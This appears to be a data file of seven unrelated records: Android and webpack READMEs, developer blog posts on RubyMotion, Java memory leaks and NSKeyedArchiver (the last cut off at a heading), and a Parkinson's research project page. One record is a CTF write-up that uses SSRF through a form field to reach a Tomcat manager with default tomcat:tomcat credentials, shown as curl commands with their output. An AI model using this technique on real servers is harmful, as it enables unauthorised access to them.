text:
StaggeredGridView
=================

## A sweeter StaggeredGridView

This widget is based on [maurycyw/StaggeredGridView][1], which is a modification of Android's experimental StaggeredGridView: [com.android.ex.widget.StaggeredGridView][2]

This widget has fixed some of the major bugs and has some new features that you may be interested.

![](snapshot/snap.png)

## Suggestion

It is very helpful for you to use this widget in your app and understand the restriction in it if you had knowledge of how to create Android custom views;
http://developer.android.com/guide/topics/ui/custom-components.html has good information about that;

## Features

* Stability and high performance

  This widget fix some bugs of [maurycyw/StaggeredGridView][1]. Such as when fling the view, the scroll sometimes slow down and speed up later.

  Notice that the image loading also has a contribution to the performance. I use [square/Picasso][3], it provides the best performance I've ever seen.
* Header and Footer View and an Adapter to wrap all child views, just like android.widget.ListView

  Header and footer views can cross columns, but the widget currently only support no more than one header and no more than one footer.
* Load more when get to the bottom

  You may find the footer view useful here.
* Work with PullToRefresh

  A compatible part enable this widget to be pulled to refresh.

## Restriction

* You have to determine the dimension of each child view in the widget before the parent the child.measure()

  This is because the after the child is first time added to the parent widget, its size should not be changed, otherwise it may cause gird misalign as you may have seen in [maurycyw/StaggeredGridView][1].

  eg. You want to display pictures in the widget, and the pictures are loaded from network.
  The height of each grid is decided by the size of the picture in them.
  Say, if you set your picture container to WRAP_CONTENT, the size of the pic container may change when the picture is loaded, and then the size of the grid change.
  This can cause gird misalign.
  Unfortunately, the current methodology has nothing to do to fix this.
  Instead, you can let this widget know the size of each child before the picture is actually downloaded.
  You can do this by overwrite the onMeasure() method of the container.

* Load more is lazy

  When load more, the widget only add new items to the old ones, the old ones is not reloaded.

* Screen rotation

  The widget may have problem holding the state when it is destroyed and restored the them in a different screen orientation.
  Besides, you may want to change the column number when the screen orientation changed, you'd better rebuild the whole content from start.

## Project structure

Project contains StaggeredGridView library, StaggeredGridView demo, modified PullToRefresh library to work with StaggeredGridView.
In order to avoid some dependency problems, I add the libs into one project, but it is easy to retrieve the libs.
* StaggeredGridView lib

  code: src/com.bulletoid.android.widget.StaggeredGridView

  res: res/stgv_*.xml
* PullToRefresh lib

  code: src/com.handmark.pulltorefresh.library

  res: res/ptr_*.xml

## Usage

Please refer to the Demo of how to use the widget and use it with PullToRefresh.

## Pictures in the demo are from Pinterest

License
--------

    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.

[1]: https://github.com/maurycyw/StaggeredGridView
[2]: http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.3_r2.1/com/android/ex/widget/StaggeredGridView.java?av=f
[3]: https://github.com/square/picasso


text:
+++
title = "Smart measures of social withdrawal in Parkinson’s disease"
date = 2018-09-15T20:11:27+01:00
draft = false

authors = ["Heng Zhang", "Bijan Parsia", "Ellen Poliakoff", "Simon Harper"]

# Tags: can be used for filtering projects.
# Example: `tags = ["machine-learning", "deep-learning"]`
tags = ["Parkinson’s", "social withdrawal", "smartphone sensing"]

# Project summary to display on homepage.
summary = "A project using smartphone to explore the correlation between Parkinson’s disease and social withdrawal."

# Slides (optional).
#   Associate this page with Markdown slides.
#   Simply enter your slide deck's filename without extension.
#   E.g. `slides = "example-slides"` references
#   `content/slides/example-slides.md`.
#   Otherwise, set `slides = ""`.
slides = ""

# Optional external URL for project (replaces project detail page).
external_link = ""

# Links (optional).
url_pdf = ""
url_code = ""
url_dataset = ""
url_slides = ""
url_video = ""
url_poster = ""

# Custom links (optional).
#   Uncomment line below to enable. For multiple links, use the form `[{...}, {...}, {...}]`.
# links = [{icon_pack = "fab", icon="twitter", name="Follow", url = "https://twitter.com"}]

# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
[image]
  # Caption (optional)
  caption = ""

  # Focal point (optional)
  # Options: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight
  focal_point = ""
+++

Parkinson’s Disease (PD) is an incurable long-term neurological disease with an unknown cause. It affects one percent of the population of people over sixty. PD patients usually spent more time reside in their homes and have fewer social interactions. So social withdrawal is one of the potential symptoms caused by PD. Social wellbeing has been shown to be essential to the quality of life of PD patients. But little is known about how the progression of PD influence social life of patients. In addition, social withdrawal can be influenced by many factors. And there is also no widely used social withdrawal measurement, especially for PD.

Inspired from the similar study of Alzheimer disease, we give the working definition of social withdrawal as the reduction of social interaction associated with PD. And from the symptoms of PD, we hypothesise that, with the progression, people with PD will reduce the social interaction by choosing people they are more familiar with (families rather than strangers) and channels require fewer functions (calls rather than face-to-face). Smartphones are the now widely used and the hub of communications. With advanced sensors embedded, they can detect heterogeneous data of behaviour of users including their social activities unobtrusively and continuously. Comprehensive social interaction data including on the phone and off the phone will be captured to inference the extent of social withdrawal of PD patients in this project.

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
---
published: true
title: A Beginner's Take on RubyMotion
subtitle:
author: Travis Valentine
ga_id:
created_at: 2013-11-05 12:25:14.885273 -05:00
published_at: 2013-11-05 12:25:14.885273 -05:00
layout: post
tags: rubymotion
summary: "A few of the benefits of using the RubyMotion toolchain to develop iOS apps from a beginner's perspective."
---

>"A little over a year ago I was in bondage,
>and now I'm back out here reaping the blessings
>and getting the benefits that go along with it"
>- Pimp C's last interview, from Jay-Z's _FuckWithMeYouKnowIGotIt_

Like many others, I initially started to program because I had an idea. After a brief stint with PHP, I dove into Ruby/Rails and started developing my app, [YourTurn](http://yourturn.org). During development, there was a lot I wanted to learn about the technologies (and their minutiae) I was discovering, but my focus was getting something tangible to appear on my screen. This not only helped me prototype my app, but also drove me to learn more. (Topic for a future post? You bet.)

When I set out to make an iOS app for YourTurn, I faced a similar decision: either learn a new language - Objective C - or utilize something I was more familiar with to get something done. To be honest, I didn't really consider the latter until I heard about RubyMotion, and when I did the choice was easy.\*

You can learn more about RubyMotion on its [website](http://www.rubymotion.com/), but I want to use my inaugural post here to highlight a few of the benefits from the perspective of a new Ruby developer. First: RubyMotion's use of, well, Ruby.

For example, here's Objective-C syntax:

[[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];

Here's RubyMotion:

UIWindow.alloc.initWithFrame(UIScreen.mainScreen.bounds)

I don't know about you, dear reader, but I find the RubyMotion way more readable as well as easier to type.\*\*

As a beginner, a technology is only as valuable to me as the community supporting it. From the folks at HipByte to the authors of its many [wrappers and libraries](http://rubymotion-wrappers.com/), it's clear that the folks behind RubyMotion want it to succeed. I'm less than a year into the toolchain but I can confidently say I wouldn't have been able to release version 1.0.0 of my app if it weren't for resources like Clay Allsopp's [tutorial](http://rubymotion-tutorial.com/) and [PragProg book](http://pragprog.com/book/carubym/), as well as [BubbleWrap](http://bubblewrap.io/), [Formotion](https://github.com/clayallsopp/formotion), and [Sugarcube](https://github.com/rubymotion/sugarcube). Resources like these continue to grow each day, and I know I'll continue to lean on them as I release future versions.

For me though, the best thing about RubyMotion is that it removes extraneous complexity from learning about Apple's APIs. By not having to worry about areas in which I really lack expertise (namely Xcode and Objective-C) I can focus on making my app better. Of course, as I become more familiar with the APIs I could move to learning more about Objective-C if I wanted. But again, I wouldn't have that choice without RubyMotion. With it I can prioritize learning the things that help me reach my ultimate goal of improving my app quickly.

So am I saying RubyMotion is for everyone? No. It's obviously best for people with varying degrees of Ruby knowledge.

Is it perfect? No. A few downsides are that:

1. It is not fully [open source](http://merbist.com/2012/05/04/macruby-on-ios-rubymotion-review/).
2. It has had some big issues like [RM-3](http://joshsymonds.com/blog/2013/06/26/why-im-not-using-rubymotion-in-production/) (which, in fairness was prioritized and resolved by HipByte).
3. It is a bit [tricky with blocks](https://groups.google.com/d/msg/rubymotion/-5QkGWvo9ew/epqVwJ2I7T8J).
4. The license is pricey at [$199.99](http://sites.fastspring.com/hipbyte/product/rubymotion).

Collectively, these issues represent exactly what RubyMotion is: a growing toolchain from a bootstrapped business. Aside from the price, they shouldn't dissuade anyone from getting their hands dirty.

Simply put: for Ruby developers, RubyMotion provides a lower barrier of entry to iOS Development. For beginners like me, it's the best tool to use if you want to get an app out quickly. For that, I'm grateful to HipByte and the community behind RubyMotion.

\* I know there are other frameworks that utilize technologies such as HTML/CSS/JavaScript but I haven't seen any that deliver experiences similar to those that come from native apps. Perhaps these frameworks are the future - and I'll certainly keep an eye on them - but it's just not there yet.

\*\* Granted, this is because my background is in Ruby and that's all I know. But still.

gha_language: CSS

gha_license_id: MIT


text:
# `webpack-postcss-tools`

> tools that make it easier to use postcss plugins with webpack's css-loader

[webpack][]'s [`css-loader`][css-loader] is a great way to include css your
frontend builds because it treats every css file as a separate webpack module
in the dependency graph. this means:

- you only include the css you want
- it resolves `@import` statements just like `require()` calls in js (i.e. by
  finding packages in `node_modules`)
- you can make css-only npm packages (like [suitcss][])

the downside is things like variable resolution get tricky (more on that
[here][var-resolution]).

these tools give you the full power of webpack's dependency management without
sacrificing must-have css features.

## usage

check out [the examples directory][] to see it working. the webpack config
looks something like this:

```js
var join = require('path').join;
var webpackPostcssTools = require('webpack-postcss-tools');

var map = webpackPostcssTools.makeVarMap('src/index.css');

module.exports = {
  entry: './src/index',

  resolve: {
    // this is important if, like SUIT CSS, you specify a `style` property in
    // the package.json
    packageMains: ['webpack', 'browser', 'web', 'style', 'main']
  },

  output: {
    path: join(__dirname, 'dist'),
    filename: 'index.[hash].js'
  },

  module: {
    loaders: [
      {test: /\.css$/, loader: 'style!css?importLoaders=1!postcss'},
      {
        test: /\.((png)|(eot)|(woff)|(ttf)|(svg)|(gif))$/,
        loader: 'file?name=/[hash].[ext]'
      }
    ]
  },

  postcss: [
    webpackPostcssTools.prependTildesToImports,

    require('postcss-custom-properties')({
      variables: map.vars
    }),

    require('postcss-custom-media')({
      extensions: map.media
    }),

    require('postcss-custom-selector')({
      extensions: map.selector
    }),

    require('postcss-calc')()
  ]
};
```

[webpack]: http://webpack.github.io
[css-loader]: https://github.com/webpack/css-loader
[suitcss]: https://suitcss.github.io
[var-resolution]: https://github.com/aaronj1335/rework-webpack-loader#why-not-just-chain-plugins-together
[the examples directory]: https://github.com/aaronj1335/webpack-postcss-tools/tree/master/examples

gha_language: JavaScript


text:
---
layout: post
title: Detecting memory leaks with Java VisualVM
---

Today we will discuss about memory leaks, what are these, what is causing them and how to find them using a tool called Java VisualVM.

### What is a memory leak

First we need to understand the HEAP. When a new Java application is started, some amount of dynamic memory space (customizable) is reserved to this process. This memory is shared between all the threads and all objects created in the application have references that point to some memory address that is part of this allocated memory. This allocated memory is called the HEAP. On platforms like JVM, the management of the HEAP is done automatically, meaning that when we remove all assignments to an object (there is no way to access this object anymore using variables) the JVM will run the Garbage Collector to deallocate any memory that is no directly referenced in the application.

So memory leaks are practically chunks of memory that were not allocated because some variable was not destroyed. Reasons for this could be many like: a function or block call was not terminated so it still exists on the Stack (the Stack is a data structure that holds all the running methods, static type variables and object references that run on a Thread, piled up using the FILO logic). Worst case is when these lost variables are `Collections` that continue to grow during the life of a running application consume all the available memory.

Because Java applications run on the JVM, any memory leaks coming from the application will be cleared by the JVM when the application exits. So the application does not take memory directly from the OS, the JVM does. This way it is ensured that any memory is cleared after the application exits even when the application fails.

Luckily we have a great tool called Java VisualVM that comes with the JDK and it is great to investigate memory leaks.

### Dummy application implementation

I prepared a simple dummy application to simulate a memory leak. This runs on SpringMVC and we can create resources using the `POST /resources`, see the resources collection using `GET /resources` and clear all resources using `DELETE /resources`.

The `resourceDb` collection will act as a persistance store for all resources. The `ids` Set will hold all existing ids that are randomly generated by the application when calling the `POST method`.

```java
@RestController(value = "/resources")
public class ResourceController {

    public static List<Resource> resourceDb = new ArrayList<>(); // simulates persistence store
    public static Set<Integer> ids = new HashSet<>();  // stores IDs of resources
    private static final int MAX_ID_VALUE = 10; // max ID value

    /**
     * Get the list of all resources.
     * @return {@Code List<Resource>}
     */
    @RequestMapping(method = RequestMethod.GET)
    public List<Resource> getResources() {
        return ids.stream()
                .map(this::findResourceById)
                .collect(Collectors.toList());
    }

    /**
     * Create a new resource with the selected data and randomly generated id.
     * @param data the resource data
     */
    @RequestMapping(method = RequestMethod.POST)
    public synchronized void setResource(@RequestParam String data) {
        int id = new Random().nextInt(MAX_ID_VALUE);
        ids.add(id);
        Resource resource = new Resource(id, data);
        resourceDb.add(resource);
        System.out.println(resourceDb);
        System.out.println(ids);
    }

    /**
     * Clear all resources.
     */
    @RequestMapping(method = RequestMethod.DELETE)
    public synchronized void clearResources() {
        List<Integer> idsClone = new ArrayList<>(ids);
        idsClone.forEach(this::deleteResource);
    }

    /**
     * Remove a resource by it's id.
     * @param id the id of the resource to remove.
     */
    private void deleteResource(int id) {
        Resource resource = findResourceById(id);
        resourceDb.remove(resource);
        ids.remove(id);
    }

    private Resource findResourceById(int id) {
        for (Resource resource : resourceDb) {
            if (resource.getId()==id) return resource;
        }
        throw new RuntimeException("Resource with id " + id + " not found.");
    }
}
```

And the `Resource` class:

```java
public class Resource {

    private int id;
    private String data;

    // constructors, getters, setters, equals, hashCode and toString here
}
```

So when the `POST /resources?data=some_data_here` is called, it will generate a new `ID` as an integer, it will save this `ID` in the `ids` Set, it will create a new `Resource` with this `ID` and the `data` prom params and will save this `Resource` in the `resourceDb` collection.

When calling `DELETE /resources` it will iterate over all `IDs` from `ids` Set and for each `ID` it will remove the corresponding `Resource` from `resourcesDb`.

The memory leak happens here when an `ID` is generated that already exists in the `ids` Set and another `Resource` with same `ID` is saved in the `resourceDb` collection. When calling the `DELETE` method, it will remove only one `Resource` per `ID` leaven the other resources in the `resourceDb` collection while `ids` Set is empty. So we will have objects in `resourceDb` that we don't have access to through our API but they are consuming memory. And these resources can grow infinitely resulting in an application crash with an Out Of Memory exception.

### Dummy application in action

Let's create some resources:

```shell
curl -v -X POST localhost:8080/resources?data=a1
curl -v -X POST localhost:8080/resources?data=a2
curl -v -X POST localhost:8080/resources?data=a3
curl -v -X POST localhost:8080/resources?data=a4
```

It will create the following resources:
```
resourcesDb: [Resource{id=1, data='a0'}, Resource{id=7, data='a1'}, Resource{id=6, data='a2'}, Resource{id=0, data='a3'}, Resource{id=7, data='a4'}]
ids:         [0, 1, 6, 7]
```

* Notice we have `Resource{id=7, data='a1'}` and `Resource{id=7, data='a4'}` with same ID and in `ids` there is `7` only once.

Let's clear resources:
```shell
curl -v -X DELETE http://localhost:8080/resources
```
It will result in the following:
```
resourcesDb: [Resource{id=7, data='a4'}]
ids:         []
```

And reading all resources will result in empty array.
```shell
curl -X GET localhost:8080/resources
[]
```

It is clear that `Resource{id=7, data='a4'}` is a object that leaked from our system. And if we scale this to millions of requests then these leaking resources will occupy a significant part of the memory. This can heart the application very badly.

### Simulating thousands of requests with JMeter

In our case we know that the `resourceDb` is the collection that holds the leaked objects, but usually when a memory leak happens in an application we do not know the cause of it and have to find these objects that are leaking. Since `Spring MVC` will also consume a lot of memory, create thousands of objects by simulating thousands of `POST` requests.

First I will set the `MAX_ID_VALUE` to 10000 so we have a bigger margin for `ID` values. To set a memory limit per running java application, I will start the java app with the flag `-Xmx256m` (maximum allocated memory will be 256 Mb). This way the GC will be invoked more often by the JVM.

I prepared a [configuration](/assets/posts/detectingmemoryleaks/requests.jmx) to do this using [JMeter](https://jmeter.apache.org/), a great tool to stress test any application. The JMeter config file can he found [here](). It will use 1000 concurrent threads to call `POST /resources?data=${random_data}` every 100 ms. It will do this until stopped manually.

### Inspecting the memory with Java VisualVM

In the JDK installation folder, we can find `bin/jvisualvm` application. Let's start it. While the memory leak application is running we will see it listed in `jvisualvm` UI. Let's open it and go to the `Monitor` tab. We will investigate the `Heap` graph.

While `JMeter` will fire thousands of requests, creating thousands of resources, the consumed memory will increase gradually from around 50mb to around 150mb. See results in next image:

![Generate resources](/assets/posts/detectingmemoryleaks/1_generate_resources.jpg)

By firing the `DELETE /resources` request while `JMeter` is still running we notice the memory is cleared from around 150mb to around 75Mb. But it is not at 50mb as it was initially, 25Mb were stuck somewhere. And memory continues to increase while `JMeter` is running. The results after a `DELETE` request can be seen in the following image:

![Generate resources](/assets/posts/detectingmemoryleaks/2_clear_resources.jpg)

Stopping `JMeter` and then calling the `DELETE` method again will stabilize the consumed memory to around 125Mb. So we have around 75Mb of leaked memory. Results can be seen in the fallowing image:

![Generate resources](/assets/posts/detectingmemoryleaks/3_stable.jpg)

In `jvisualvm` we can force a GC to run by clicking the `Perform GC`. We can see the allocated memory decreasing. Now let's do the `Heap Dump`, a new tab will open and in the `Classes` window we can see all the classes with number of instances and allocated memory that are used in the app. Result can be seen in the fallowing image:

![Generate resources](/assets/posts/detectingmemoryleaks/4_heapdump.jpg)

We notice our `com.memoryleak.demo.Resource` class holding 14771 instances. This does not look right because by calling the `GET /resources` request we receive an empty array. So it is a clear result that we have a leak of 14771 Resource instances.

### Tip

The `Resource` class can overwrite this `finalize` method from `Object` class that will be called every time the object is garbage collected.

```java
public class Resource {

    private int id;
    private String data;

    // constructors, getters, setters, equals, hashCode and toString here

    @Override
    protected void finalize() {
        System.out.println("GC on resource: " + this.toString());
    }
}
 ```

Having this method in place when calling the `DELETE /resources` we can notice that even if we destroy the references to our `Resource` objects, the GC is not invoked immediately. We have to wait a few seconds or even minutes until we notice the objects were cleared from memory and `finalize` is called:

```
...
GC on resource: Resource{id=2953, data='data_6094'}
GC on resource: Resource{id=5108, data='data_5925'}
GC on resource: Resource{id=2295, data='data_659'}
...
```

---

Investigating memory leaks is a tedious job on big applications because we need to dig through a lot more instances. Using tools la JMeter we can simulate heavy load so our memory leak is a log bigger, being easier to spot in a pool of millions of objects.
There are other tools that help with investigating the heap dump better but I will leave this for another article.

I hope this was educational.

Happy coding!


text:
### Web50 SmartTomcat APP

Hello everyone, I will share you my SmartTomcat Solution for the Insomnihack Teaser CTF ..

First, this is a web challenge, 50pts, should be fast !

Some time spend on thhis application, the goal is to find the good coordianates to reach the "cat" position.

btw, look at this horrible cat :

![smartcat](/public/images/smartcat.jpg)

We can enter coordinates in the top fields :

![smartcat_ss](/public/images/smartcat_ss.png)

We looked at the network console then we find this :

```
Request URL:http://smarttomcat.teaser.insomnihack.ch/index.php
Request Method:POST
Status Code:200 OK
Remote Address:<IP_ADDRESS>:80

Form-Data:
	u=http://localhost:8080/index.jsp?x=1337&y=1337
```

We see that the actual server is going to work with an other service on port 8080.

Timeout response when you try this :

```
curl -v 'http://smarttomcat.teaser.insomnihack.ch:8080/index.jsp?x=1337&y=1337'
```

.jsp ( and challenge name ) make us think about a tomcat app.. So we tried to access the manager url :

```
$ curl -i -X POST 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data-urlencode "u=http://<IP_ADDRESS>:8080/manager"                                                                                0|15:18:21

HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 14:18:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 195
Connection: keep-alive
Server: Apache/2.4.18 (Ubuntu)
Vary: User-Agent,Accept-Encoding

<html>
<head>
<meta http-equiv="refresh" content="0; url=http://<IP_ADDRESS>:8080/manager/html/" />
</head>
<body>
<p><a href="http://<IP_ADDRESS>:8080/manager/html/">Redirect</a></p>
</body>
</html>
```

Redirecting on /manager/html, let's try it !

```
$ curl -i -X POST 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data-urlencode "u=http://<IP_ADDRESS>:8080/manager/html"                                                                                0|15:19:26

HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 14:19:29 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 969
Connection: keep-alive
Server: Apache/2.4.18 (Ubuntu)
Vary: User-Agent,Accept-Encoding

<html><head><title>Apache Tomcat/7.0.68 (Ubuntu) - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 401 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>This request requires HTTP authentication.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.68 (Ubuntu)</h3></body></html>
```

401 Response ! we need credz .. can't event control the HTTP header because the index.php is doing the request.

The goal was just to put the credz in the url like this :

```
$ curl -i -X POST 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data-urlencode "u=http://tomcat:tomcat@<IP_ADDRESS>:8080/manager/html"                                                                                0|15:21:03

HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 14:21:10 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 91
Connection: keep-alive
Server: Apache/2.4.18 (Ubuntu)
Vary: User-Agent,Accept-Encoding

We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
```

The flag is  : `INS{th1s_is_re4l_w0rld_pent3st}`


text:
---
layout: post
title: "NSKeyedArchiver, GCD, Threads, and You"
description: "Understanding multithreaded encoding and decoding using NSKeyedArchiver"
permalink: /nskeyedarchiver-gcd-threads/
---

_Let me preface this brain-dump with a disclaimer: this solution is what worked for me, and it may not work for your use-case. If it does, great! If it doesn't, hopefully you find something that does._

Background

If you want to read the original posts, check out StackOverflow or the Apple Developer Forums. The following cribs heavily from them.

In [College Football Coach for iOS](https://appsto.re/us/5pXtbb.i), I rely on the [AutoCoding](https://github.com/nicklockwood/AutoCoding) library to get objects in my data model to automagically adopt NSCoding (although I did implement the protocol myself in some places -- like I said, I was an novice) and [FCFileManager](https://github.com/fabiocaccamo/FCFileManager) for saving these objects to the local documents directory. The data model being written is fairly simple: custom NSObjects that have various properties of NSString, NSArray, and other custom NSObject classes (but I will note there are a number of circular references; most of them declared as strong and nonatomic in header files). This configuration has its quirks, but historically, it has worked well (and still does, to this day) in the production version of CFC for iOS.

However, in [version 4.1](https://www.reddit.com/r/FootballCoach/comments/giel2q/cfc_for_ios_41_beta/), I'm adding (or added, depending on when you read this) saving and loading save files from iCloud. While building that out, I've been looking to trim down my list of third-party dependencies and update older code to use iOS 13+ APIs. It so happens that FCFileManager relies on the now-deprecated `+[NSKeyedUnarchiver unarchiveObjectWithFile:]` and `+[NSKeyedArchiver archiveRootObject:toFile:]`, so I've focused on rewriting what I need from that library using more modern APIs.

I was able to get saving files working pretty easily using this:

```swift
@objc static func save(_ content: NSCoding, at fileName: String, completion: ((Bool, Error?) -> ())?) {
    CFCSerialQueue.processingQueue.async { // my own serial queue
        measureTime(operation: "[LocalService Save] Saving") { // just measures the time it takes for the logic in the closure to process
            do {
                let data: Data = try NSKeyedArchiver.archivedData(withRootObject: content, requiringSecureCoding: false)
                // targetDirectory here is defined earlier in the class as the local documents directory
                try data.write(to: targetDirectory!.appendingPathComponent(fileName), options: .atomicWrite)
                if (completion != nil) {
                    completion!(true, nil)
                }
            } catch {
                if (completion != nil) {
                    completion!(false, error)
                }
            }
        }
    }
}
```

And this works great -- it's pretty fast and the resulting file on disk can still be loaded back into memory using FCFileManager's minimal wrapper method around `+[NSKeyedUnarchiver unarchiveObjectWithFile:]`.

## Problem

But loading this file _back_ from the local documents directory proved to be a massive challenge. Here's what I started off with:

```swift
@objc static func load(_ fileName: String, completion: @escaping ((Any?, Error?) -> ())) {
    CFCSerialQueue.processingQueue.async { // my own serial queue
        measureTime(operation: "[LocalService Load] Loading") { // measures and prints execution time
            do {
                // targetDirectory here is defined earlier in the class as the local documents directory
                let combinedUrl: URL = targetDirectory!.appendingPathComponent(fileName)
                if (FileManager.default.fileExists(atPath: combinedUrl.path)) {
                    let data: Data = try Data(contentsOf: combinedUrl)
                    let obj: Any? = try NSKeyedUnarchiver.unarchiveTopLevelObjectWithData(data)
                    completion(obj, nil)
                } else {
                    completion(nil, ServiceError.generic(message: "Data not found at URL \(combinedUrl)"))
                }
            } catch {
                completion(nil, error)
            }
        }
    }
}
```

I replaced FCFileManager's `+[NSKeyedUnarchiver unarchiveObjectWithFile:]` with the new `+[NSKeyedUnarchiver unarchiveTopLevelObjectWithData:]`, but I ran into `EXC_BAD_ACCESS code=2` crashes when getting execution flowing through that line. The stacktraces were never particularly helpful; each was usually ~1500 frames long and jumped between various custom `-[NSObject initWithCoder:]` implementations. Here's an example (comments added for context, clarity, and conciseness):

```obj_c
@implementation Game

-(id)initWithCoder:(NSCoder *)aDecoder {
    self = [super init];
    if (self) {
        // ...lots of other decoding...

        // stack trace says the BAD_ACCESS is flowing through these decoding lines
        // @property (atomic) Team *homeTeam;
        homeTeam = [aDecoder decodeObjectOfClass:[Team class] forKey:@"homeTeam"];
        // @property (atomic) Team *awayTeam;
        // there's no special reason for this line using a different decoding method;
        // I was just trying to test out both
        awayTeam = [aDecoder decodeObjectForKey:@"awayTeam"];

        // ...lots of other decoding...
    }
    return self;
}
```

Let's back up and clarify something about the decoding method above and the data model in general: each Game object has a reference to a home and away Team; each Team contains an NSMutableArray of Game objects called `gameSchedule`, which is defined as such:

```obj_c
@property (strong, atomic) NSMutableArray<Game*> *gameSchedule;
```

For reference, here's Team's `initWithCoder:` implementation:

```obj_c
-(id)initWithCoder:(NSCoder *)coder {
    self = [super initWithCoder:coder];
    if (self) {
        if (teamHistory.count > 0) {
           if (teamHistoryDictionary == nil) {
               teamHistoryDictionary = [NSMutableDictionary dictionary];
           }
           if (teamHistoryDictionary.count < teamHistory.count) {
               for (int i = 0; i < teamHistory.count; i++) {
                   [teamHistoryDictionary setObject:teamHistory[i] forKey:[NSString stringWithFormat:@"%ld",(long)([HBSharedUtils currentLeague].baseYear + i)]];
               }
           }
        }

        if (state == nil) {
           // set the home state here
        }

        if (playersTransferring == nil) {
           playersTransferring = [NSMutableArray array];
        }

        if (![coder containsValueForKey:@"projectedPollScore"]) {
           if (teamOLs != nil && teamQBs != nil && teamRBs != nil && teamWRs != nil && teamTEs != nil) {
               FCLog(@"[Team Attributes] Adding Projected Poll Score to %@", self.abbreviation);
               projectedPollScore = [self projectPollScore];
           } else {
               projectedPollScore = 0;
           }
        }

        if (![coder containsValueForKey:@"teamStrengthOfLosses"]) {
           [self updateStrengthOfLosses];
        }

        if (![coder containsValueForKey:@"teamStrengthOfSchedule"]) {
           [self updateStrengthOfSchedule];
        }

        if (![coder containsValueForKey:@"teamStrengthOfWins"]) {
           [self updateStrengthOfWins];
        }
    }
    return self;
}
```

Pretty simple other than for the backfilling of some properties. However, this class imports AutoCoding, which hooks into `-[NSObject initWithCoder:]` like so:

```obj_c
- (void)setWithCoder:(NSCoder *)aDecoder
{
    BOOL secureAvailable = [aDecoder respondsToSelector:@selector(decodeObjectOfClass:forKey:)];
    BOOL secureSupported = [[self class] supportsSecureCoding];
    NSDictionary *properties = self.codableProperties;
    for (NSString *key in properties)
    {
        id object = nil;
        Class propertyClass = properties[key];
        if (secureAvailable)
        {
            object = [aDecoder decodeObjectOfClass:propertyClass forKey:key]; // where the EXC_BAD_ACCESS seems to be coming from
        }
        else
        {
            object = [aDecoder decodeObjectForKey:key];
        }
        if (object)
        {
            if (secureSupported && ![object isKindOfClass:propertyClass] && object != [NSNull null])
            {
                [NSException raise:AutocodingException format:@"Expected '%@' to be a %@, but was actually a %@", key, propertyClass, [object class]];
            }
            [self setValue:object forKey:key];
        }
    }
}

- (instancetype)initWithCoder:(NSCoder *)aDecoder
{
    [self setWithCoder:aDecoder];
    return self;
}
```

I did some preliminary code tracing and found that execution flows through line 12 of this snippet. Based on some logging I added, it seemed like propertyClass somehow gets deallocated before getting passed to -`[NSCoder decodeObjectOfClass:forKey:]`. However, [Xcode shows that propertyClass has a value when the crash occurs](https://imgur.com/a/J0mgrvQ).

The property in question in that frame is defined:
```obj_c
@property (strong, nonatomic) Record *careerFgMadeRecord;
```

and has the following properties itself:

```objective_c
@interface Record : NSObject
@property (strong, nonatomic) NSString *title;
@property (nonatomic) NSInteger year;
@property (nonatomic) NSInteger statistic;
@property (nonatomic) Player *holder;
@property (nonatomic) HeadCoach *coachHolder;
// … some functions
@end
```

This class also imports AutoCoding, but has no custom `initWithCoder:` or `setWithCoder:` implementation.

Curiously, replacing the load method I wrote with FCFileManager’s version also crashed in the same fashion, so at first, I also thought this could have been more of an issue with how the data was archived than how it was being retrieved. However, the confounding factor here was that everything works fine when using FCFileManager’s methods to load/save files. My initial guess was that there was some lower-level difference between the implementation of archiving in iOS 11 (when FCFileManager was last updated) and iOS 12+ (when the NSKeyedArchiver APIs were updated).

Per some suggestions I found online at the time (like [this one](https://stackoverflow.com/a/57048596http://)), I also tried this:
```swift
@objc static func load(_ fileName: String, completion: @escaping ((Any?, Error?) -> ())) {
    CFCSerialQueue.processingQueue.async {
        measureTime(operation: "[LocalService Load] Loading") {
            do {
                let combinedUrl: URL = targetDirectory!.appendingPathComponent(fileName)
                if (FileManager.default.fileExists(atPath: combinedUrl.path)) {
                    let data: Data = try Data(contentsOf: combinedUrl)
                    let unarchiver: NSKeyedUnarchiver = try NSKeyedUnarchiver(forReadingFrom: data)
                    unarchiver.requiresSecureCoding = false;
                    let obj: Any? = try unarchiver.decodeTopLevelObject(forKey: NSKeyedArchiveRootObjectKey)
                    completion(obj, nil)
                } else {
                    completion(nil, ServiceError.generic(message: "Data not found at URL \(combinedUrl)"))
                }
            } catch {
                completion(nil, error)
            }
        }
    }
}
```
However, this still threw the same EXC_BAD_ACCESS while trying to decode a League object. What gives?

## A Date with DTS

